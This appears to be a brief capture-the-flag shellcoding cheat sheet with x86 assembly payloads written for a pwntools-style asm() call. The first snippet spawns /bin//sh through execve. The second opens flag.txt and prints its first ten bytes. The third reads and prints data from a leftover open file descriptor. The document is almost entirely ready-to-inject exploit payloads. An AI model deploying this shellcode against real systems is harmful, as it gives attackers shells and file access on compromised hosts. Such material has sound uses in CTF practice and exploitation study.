Shellcoding is the process of writing x86 assembly instructions to achieve a desired goal, commonly executing a shell or reading a file.
shellcode = asm('''
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0xb
int 0x80
''')
# OPEN A FILE (flag.txt)
# PRINT FIRST 10 bytes
# CLOSE FILE
shellcode = asm('''
mov eax, SYS_open
push 0x0
push 0x7478742e
push 0x67616c66
mov ebx, esp
mov ecx, O_RDONLY
int 0x80
mov edi, eax
mov eax, SYS_read
mov ebx, edi
mov ecx, esi
mov edx, 0xa
int 0x80
mov eax, SYS_write
mov ebx, 0x1
mov edx, 0xa
mov ecx, esi
int 0x80
''')
# read a hanging/open file descriptor
shellcode += asm('''
xor ebx, ebx
mov eax, SYS_read
mov ebx, 0x3e8
mov ecx, esp
mov edx, 0xbe
int 0x80
mov eax, SYS_write
mov ebx, 0x1
mov edx, 0xbe
mov ecx, esp
int 0x80
''')